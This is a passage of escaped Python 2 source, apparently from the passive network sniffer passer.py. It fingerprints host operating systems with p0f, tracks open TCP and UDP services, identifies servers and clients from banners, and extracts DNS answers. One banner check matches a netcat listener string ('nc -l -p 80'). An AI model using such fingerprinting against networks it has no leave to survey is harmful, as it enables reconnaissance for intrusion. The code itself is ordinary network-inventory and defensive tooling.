sIP)\\n\\t\\t\\t\\ttry:\\n\\t\\t\\t\\t\\tp0fdata = p0f(p)\\n\\t\\t\\t\\t\\t#FIXME - reasonably common occurence, don't whine, just fix it.\\n\\t\\t\\t\\t\\t#if (len(p0fdata) >1):\\n\\t\\t\\t\\t\\t#\\tDebug(\\\"More than one OS fingerprint for \\\" + sIP + \\\", using the first.\\\")\\n\\t\\t\\t\\t\\tif (len(p0fdata) >=1):\\n\\t\\t\\t\\t\\t\\tPDescription = p0fdata[0][0] + \\\" \\\" + p0fdata[0][1] + \\\" (\\\" + str(int(p0fdata[0][2]) + 1)\\t#FIXME - Grabbing just the first candidate, may need to compare correlation values; provided?\\n\\t\\t\\t\\t\\t\\tif (p0fdata[0][2] == 0):\\n\\t\\t\\t\\t\\t\\t\\tPDescription = PDescription + \\\" hop away)\\\"\\n\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\tPDescription = PDescription + \\\" hops away)\\\"\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t#[N][2] param appears to be distance away in hops (but add 1 to this to get real hop count?)\\n\\t\\t\\t\\t\\t\\tPDescription = PDescription.replace(',', ';')\\t\\t#Commas are delimiters in output\\n\\t\\t\\t\\t\\t\\tif (not(OSDescription.has_key(sIP))) or (OSDescription[sIP] != PDescription):\\n\\t\\t\\t\\t\\t\\t\\tOSDescription[sIP] = PDescription\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"IP\\\", sIP, \\\"IP\\\", \\\"live\\\", PDescription)\\n\\t\\t\\t\\texcept:\\n\\t\\t\\t\\t\\tPDescription = 'p0f failure'\\n\\t\\t\\t\\t\\tif (not(OSDescription.has_key(sIP))) or (OSDescription[sIP] != PDescription):\\n\\t\\t\\t\\t\\t\\tDebug(\\\"P0f failure in \\\" + sIP + \\\":\\\" + sport + \\\" -> \\\" + dIP + \\\":\\\" + dport)\\n\\t\\t\\t\\t\\t\\tOSDescription[sIP] = PDescription\\n\\t\\t\\t\\t\\t\\tReportId(\\\"IP\\\", sIP, \\\"IP\\\", \\\"live\\\", PDescription)\\n\\t\\t\\telif (p['TCP'].flags & 0x07) == 0x01:\\t#FIN (SYN/RST off)\\n\\t\\t\\t\\tCliService = sIP + \\\",TCP_\\\" + dport\\n\\t\\t\\t\\tif ( (SynAckSentToTCPClient.has_key(CliService)) and ((not LiveTCPClient.has_key(CliService)) or (LiveTCPClient[CliService] == False)) ):\\n\\t\\t\\t\\t\\tLiveTCPClient[CliService] = True\\n\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", '')\\n\\t\\t\\telif (p['TCP'].flags & 0x07) == 0x04:\\t#RST (SYN and FIN off)\\n\\t\\t\\t\\t#FIXME - handle rst going in the other direction?\\n\\t\\t\\t\\tService = sIP + \\\",TCP_\\\" + sport\\n\\t\\t\\t\\tif ( (SynSentToTCPService.has_key(Service)) and ((not LiveTCPService.has_key(Service)) or (LiveTCPService[Service] == True)) ):\\n\\t\\t\\t\\t\\tLiveTCPService[Service] = False\\n\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"closed\\\", '')\\n\\t\\t\\telif ((p['TCP'].flags & 0x3F) == 0x15) and (sport == \\\"113\\\"):\\t#FIN, RST, ACK (SYN, PSH, URG off)\\n\\t\\t\\t\\t#This may be a firewall or some other device stepping in for 113 with a FIN/RST.\\n\\t\\t\\t\\tpass\\n\\t\\t\\telif (p['TCP'].flags & 0x17) == 0x10:\\t#ACK (RST, SYN, and FIN off)\\n\\t\\t\\t\\t#FIXME - check for UnhandledPacket placement in ACK\\n\\t\\t\\t\\tFromPort = sIP + \\\",TCP_\\\" + sport\\n\\t\\t\\t\\tToPort = dIP + \\\",TCP_\\\" + dport\\n\\t\\t\\t\\tPayload = str(p['Raw.load'])\\t\\t\\t#For some reason this doesn't handle p['Raw'].load\\n\\t\\t\\t\\tif ( (LiveTCPService.has_key(FromPort)) and (LiveTCPService[FromPort] == True) and (LiveTCPService.has_key(ToPort)) and (LiveTCPService[ToPort] == True)):\\n\\t\\t\\t\\t\\tprint \\\"Logic failure: both \\\" + FromPort + \\\" and \\\" + ToPort + \\\" are listed as live services.\\\"\\n\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\telif ((LiveTCPService.has_key(FromPort)) and (LiveTCPService[FromPort] == True)):\\t#If the \\\"From\\\" side is a known TCP server:\\n\\t\\t\\t\\t\\tif (not NmapServerDescription.has_key(FromPort) ):\\t\\t#Check nmap fingerprint strings for this server port\\n\\t\\t\\t\\t\\t\\tif (ServiceFPs.has_key(int(sport))):\\n\\t\\t\\t\\t\\t\\t\\tfor OneTuple in ServiceFPs[int(sport)]:\\n\\t\\t\\t\\t\\t\\t\\t\\tMatchObj = OneTuple[0].search(Payload)\\n\\t\\t\\t\\t\\t\\t\\t\\tif (MatchObj != None):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#Debugging:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#FIXME - removeme once understood:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#File \\\"/home/wstearns/med/programming/python/passer/passer.py\\\", line 504, in processpacket\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#OutputDescription = OutputDescription.replace('$' + str(Index), MatchObj.group(Index))\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t#TypeError: expected a character buffer object\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif (OneTuple[1] == None):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tDebug(\\\"Null description for \\\" + OneTuple[0])\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t#quit()\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tOutputDescription = OneTuple[1]\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif len(MatchObj.groups()) >= 1:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t#We have subexpressions matched, these need to be inserted into the description string\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tfor Index in range(1,len(MatchObj.groups())+1):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t#Example: Replace \\\"$1\\\" with MatchObj.group(1)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tOutputDescription = OutputDescription.replace('$' + str(Index), str(MatchObj.group(Index)))\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", OutputDescription)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tNmapServerDescription[sIP + \\\",TCP_\\\" + sport] = OutputDescription\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak\\t\\t\\t\\t\\t#Exit for loop, no need to check any more fingerprints now that we've found a match\\n\\n\\t\\t\\t\\t\\tif (not NmapServerDescription.has_key(FromPort)):\\t\\t#If the above loop didn't find a server description\\n\\t\\t\\t\\t\\t\\tif (ServiceFPs.has_key('all')):\\t\\t\\t\\t#Now recheck against regexes not associated with a specific port (port 'all').\\n\\t\\t\\t\\t\\t\\t\\tfor OneTuple in ServiceFPs['all']:\\n\\t\\t\\t\\t\\t\\t\\t\\tMatchObj = OneTuple[0].search(Payload)\\n\\t\\t\\t\\t\\t\\t\\t\\tif (MatchObj != None):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tOutputDescription = OneTuple[1]\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tif len(MatchObj.groups()) >= 1:\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t#We have subexpressions matched, these need to be inserted into the description string\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tfor Index in range(1,len(MatchObj.groups())+1):\\n\\t\\t\\t\\t\\t\\t\\t\\t\\t\\t\\tOutputDescription = OutputDescription.replace('$' + str(Index), MatchObj.group(Index))\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", OutputDescription)\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tNmapServerDescription[sIP + \\\",TCP_\\\" + sport] = OutputDescription\\n\\t\\t\\t\\t\\t\\t\\t\\t\\tbreak\\n\\n\\t\\t\\t\\t\\tif (not ManualServerDescription.has_key(FromPort) ):\\n\\t\\t\\t\\t\\t\\tif (sport == \\\"22\\\") and (Payload != None) and (Payload.find('SSH-') > -1):\\n\\t\\t\\t\\t\\t\\t\\tif ( (Payload.find('SSH-1.99-OpenSSH_') > -1) or (Payload.find('SSH-2.0-OpenSSH_') > -1) ):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"ssh/openssh\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"ssh/openssh\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('SSH-1.5-') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"ssh/generic\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"ssh/generic\\\"\\n\\t\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\\n\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\\n\\t\\t\\t\\t\\t\\telif (sport == \\\"25\\\") and (Payload != None) and (Payload.find(' ESMTP Sendmail ') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"smtp/sendmail\\\")\\n\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"smtp/sendmail\\\"\\n\\t\\t\\t\\t\\t\\telif (sport == \\\"25\\\") and (Payload != None) and (Payload.find(' - Welcome to our SMTP server ESMTP') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"smtp/generic\\\")\\n\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"smtp/generic\\\"\\n\\t\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\\n\\t\\t\\t\\t\\t\\t#Check for port 80 and search for \\\"Server: \\\" once\\n\\t\\t\\t\\t\\t\\telif (sport == \\\"80\\\") and (Payload != None) and (Payload.find('Server: ') > -1):\\n\\t\\t\\t\\t\\t\\t\\tif (Payload.find('Server: Apache') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/apache\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/apache\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: Embedded HTTP Server') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/embedded\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/embedded\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: gws') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/gws\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/gws\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: KFWebServer') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/kfwebserver\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/kfwebserver\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: micro_httpd') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/micro-httpd\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/micro-httpd\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: Microsoft-IIS') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/iis\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/iis\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: lighttpd') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/lighttpd\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/lighttpd\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: MIIxpc') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/mirrorimage\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/mirrorimage\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: mini_httpd') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/mini-httpd\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/mini-httpd\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: nc -l -p 80') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/nc\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/nc\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: nginx/') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/nginx\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/nginx\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: Nucleus') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/nucleus\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/nucleus\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: RomPager') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/rompager\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/rompager\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: Server') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/server\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/server\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: Sun-ONE-Web-Server/') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/sun-one\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/sun-one\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: TrustRank Frontend') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/trustrank\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/trustrank\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('Server: YTS/') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/yahoo\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/yahoo\\\"\\n\\t\\t\\t\\t\\t\\t\\telif (Payload.find('HTTP/1.0 404 Not Found') > -1) or (Payload.find('HTTP/1.1 200 OK') > -1):\\n\\t\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"http/generic\\\")\\n\\t\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"http/generic\\\"\\n\\t\\t\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\\n\\t\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\\n\\t\\t\\t\\t\\t\\telif (sport == \\\"110\\\") and (Payload != None) and (Payload.find('POP3 Server Ready') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"pop3/generic\\\")\\n\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"pop3/generic\\\"\\n\\t\\t\\t\\t\\t\\telif (sport == \\\"143\\\") and (Payload != None) and (Payload.find('* OK dovecot ready') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"imap/dovecot\\\")\\n\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"imap/dovecot\\\"\\n\\t\\t\\t\\t\\t\\telif (sport == \\\"143\\\") and (Payload != None) and (Payload.find(' IMAP4rev1 ') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"imap/generic\\\")\\n\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"imap/generic\\\"\\n\\t\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\\n\\t\\t\\t\\t\\t\\telif (sport == \\\"783\\\") and (Payload != None) and (Payload.find('SPAMD/1.1 ') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"spamd/spamd\\\")\\n\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"spamd/spamd\\\"\\n\\t\\t\\t\\t\\t\\telif ( (sport == \\\"3128\\\") or (sport == \\\"80\\\") ) and (Payload != None) and (Payload.find('Via: ') > -1) and (Payload.find(' (squid/') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TS\\\", sIP, \\\"TCP_\\\" + sport, \\\"listening\\\", \\\"proxy/squid\\\")\\n\\t\\t\\t\\t\\t\\t\\tManualServerDescription[sIP + \\\",TCP_\\\" + sport] = \\\"proxy/squid\\\"\\n\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ServerPayloadDir, FromPort, Payload)\\n\\t\\t\\t\\telif ((LiveTCPService.has_key(ToPort)) and (LiveTCPService[ToPort] == True)):\\t\\t#If the \\\"To\\\" side is a known TCP server:\\n\\t\\t\\t\\t\\tClientKey = sIP + \\\",TCP_\\\" + dport\\t#Note: CLIENT ip and SERVER port\\n\\t\\t\\t\\t\\tif (not ClientDescription.has_key(ClientKey)):\\n\\t\\t\\t\\t\\t\\tif (dport == \\\"22\\\") and (Payload != None) and ( (Payload.find('SSH-2.0-OpenSSH_') > -1) or (Payload.find('SSH-1.5-OpenSSH_') > -1) ):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"ssh/openssh\\\")\\n\\t\\t\\t\\t\\t\\t#As cute as it is to catch this, it miscatches any relay that's carrying a pine-generated mail.\\n\\t\\t\\t\\t\\t\\t#elif (dport == \\\"25\\\") and (Payload != None) and (Payload.find('Message-ID: <Pine.') > -1):\\n\\t\\t\\t\\t\\t\\t#\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"smtp/pine\\\")\\n\\t\\t\\t\\t\\t\\telif ( (dport == \\\"80\\\") or (dport == \\\"3128\\\") ) and (Payload != None) and (Payload.find('User-Agent: libwww-perl/') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"http/libwww-perl\\\")\\n\\t\\t\\t\\t\\t\\telif ( (dport == \\\"80\\\") or (dport == \\\"3128\\\") ) and (Payload != None) and (Payload.find('User-Agent: Lynx') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"http/lynx\\\")\\n\\t\\t\\t\\t\\t\\telif ( (dport == \\\"80\\\") or (dport == \\\"3128\\\") ) and (Payload != None) and (Payload.find('User-Agent: Mozilla') > -1) and (Payload.find(' Firefox/') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"http/firefox\\\")\\n\\t\\t\\t\\t\\t\\telif ( (dport == \\\"80\\\") or (dport == \\\"3128\\\") ) and (Payload != None) and (Payload.find('User-Agent: Wget/') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"http/wget\\\")\\n\\t\\t\\t\\t\\t\\telif (dport == \\\"143\\\") and (Payload != None) and (Payload.find('A0001 CAPABILITY') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"imap/generic\\\")\\n\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ClientPayloadDir, ClientKey, Payload)\\n\\t\\t\\t\\t\\t\\telif (dport == \\\"783\\\") and (Payload != None) and (Payload.find('PROCESS SPAMC') > -1):\\n\\t\\t\\t\\t\\t\\t\\tReportId(\\\"TC\\\", sIP, \\\"TCP_\\\" + dport, \\\"open\\\", \\\"spamd/spamc\\\")\\n\\t\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t\\t\\t#LogNewPayload(ClientPayloadDir, ClientKey, Payload)\\n\\t\\t\\t\\telse:\\t#Neither port pair is known as a server\\n\\t\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\t\\t\\t\\t#Following is debugging at best; it should only show up early on as the sniffer listens to conversations for which it didn't hear the SYN/ACK\\n\\t\\t\\t\\t\\t#print \\\"note: neither \\\" + FromPort + \\\" nor \\\" + ToPort + \\\" is listed as a live service.\\\"\\n\\t\\t\\telse:\\t#Other TCP flag combinations here\\n\\t\\t\\t\\tUnhandledPacket(p)\\n\\t\\telif p['IP'].proto == 17 and (type(p['UDP']) == UDP):\\t\\t#UDP. We have to check the object type as well as we do get (corrupted? truncated?) packets with type 17 that aren't udp: AttributeError: 'NoneType' object has no attribute 'sport'\\n\\t\\t\\t#FIXME - possibly run udp packets through ServiceFPs as well?\\n\\t\\t\\tsport=str(p['UDP'].sport)\\n\\t\\t\\tdport=str(p['UDP'].dport)\\n\\t\\t\\tSrcService = sIP + \\\",UDP_\\\" + sport\\n\\t\\t\\tDstService = dIP + \\\",UDP_\\\" + dport\\n\\t\\t\\tSrcClient = sIP + \\\",UDP_\\\" + dport\\n\\t\\t\\tPayload = p['Raw.load']\\n\\n\\t\\t\\t#Multicast DNS: http://files.multicastdns.org/draft-cheshire-dnsext-multicastdns.txt\\n\\t\\t\\t#- usually sent to 224.0.0.251 (or FF02::FB) (link-local multicast).\\n\\t\\t\\t#\\t- if \\\".local.\\\" in query, these MUST be the target IPs\\n\\t\\t\\t#\\t- non-local queries may be sent to these or normal dns servers\\n\\t\\t\\t#\\t- rdns queries for \\\"254.169.in-addr.arpa.\\\" MUST be sent to 224.0.0.251\\n\\t\\t\\t#\\t- rdns queries for \\\"8.e.f.ip6.arpa.\\\", \\\"9.e.f.ip6.arpa.\\\",\\\"a.e.f.ip6.arpa.\\\", and \\\"b.e.f.ip6.arpa.\\\" MUST be sent to the IPv6 mDNS link-local multicast address FF02::FB.\\n\\t\\t\\t#- sent to udp port 5353\\n\\t\\t\\t#- generic clients may use \\\"single-dns-object.local.\\\", such as \\\"sparrow.local.\\\"\\n\\t\\t\\t#- responses have IP TTL = 255 to check that packet originated on-lan\\n\\n\\t\\t\\t#Multicast DNS, placed next to normal dns, out of numerical order\\n\\t\\t\\tif (dport == \\\"5353\\\") and ( (p['IP'].ttl == 1) or (p['IP'].ttl == 255) ):\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcClient)) or (LiveUDPService[SrcClient] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcClient] = True\\n\\t\\t\\t\\t\\tif (dIP == \\\"224.0.0.251\\\"):\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"mdns/broadcastclient\\\")\\n\\t\\t\\t\\t\\telse:\\n\\t\\t\\t\\t\\t\\tReportId(\\\"UC\\\", sIP, \\\"UDP_\\\" + dport, \\\"open\\\", \\\"mdns/client\\\")\\n\\n\\t\\t\\t\\t\\t#Extract dns answers like with 53; change elif to if and add 5353 to ports on next if?\\n\\t\\t\\t\\t\\t#At the moment, no; scapy does not appear to parse 5353 as dns.\\n\\t\\t\\t\\t\\t#else:\\n\\t\\t\\t\\t\\t#\\tUnhandledPacket(p)\\n\\t\\t\\t#FIXME - add check for \\\"if isinstance(p['DNS'], whatevertype):\\there and at all p[] accesses.\\n\\t\\t\\telif (sport == \\\"53\\\") and (isinstance(p['DNS'], DNS)) and (p['DNS'].qr == 1):\\t\\t#qr == 1 is a response\\n\\t\\t\\t\\tif ((not LiveUDPService.has_key(SrcService)) or (LiveUDPService[SrcService] == False)):\\n\\t\\t\\t\\t\\tLiveUDPService[SrcService] = True\\n\\t\\t\\t\\t\\t#FIXME - Also report the TLD from one of the query answers to show what it's willing to answer for?\\n\\t\\t\\t\\t\\tReportId(\\\"US\\\", sIP, \\\"UDP_\\\" + sport, \\\"open\\\", \\\"dns/server\\\")\\n\\t\\t\\t\\t#Now we extract dns answers. First, check that there's no dns error:\\n\\t\\t\\t\\tif (p['DNS'].rcode == 0):\\t\\t\\t#No error\\n\\t\\t\\t\\t\\tDNSBlocks = [ ]\\n\\t\\t\\t\\t\\tCNAMERecs = [ ]\\t\\t\\t\\t#We hold onto all cnames until we've processed all PTR's and A's here\\n\\t\\t\\t\\t\\tif (p['DNS'].ancount > 0):\\t\\t#If we have at least one answer from the answer block, process it\\n\\t\\t\\t\\t\\t\\tDNSBlocks.append(p[DNS].an)\\n\\t\\t\\t\\t\\tif (p['DNS'].arcount > 0):\\t\\t#Likewise for the \\\"additional\\\" block\\n\\t\\t\\t\\t\\t\\tDNSBlocks.append(p[DNS].ar)\\n\\t\\t\\t\\t\\tfor OneAn in DNSBlocks:\\n\\t\\t\\t\\t\\t\\t#Thanks to Philippe Biondi for showing me how to extract additional records.\\n\\t\\t\\t\\t\\t\\t#Debug(\\\"Start dns extract\\\" + str(p['DNS'].ancount))\\n\\t\\t\\t\\t\\t\\t#OneAn = p[DNS].an\\n\\t\\t\\t\\t\\t\\t#while OneAn is not NoPayload:\\t\\t#This doesn't seem to stop at the end of the list; 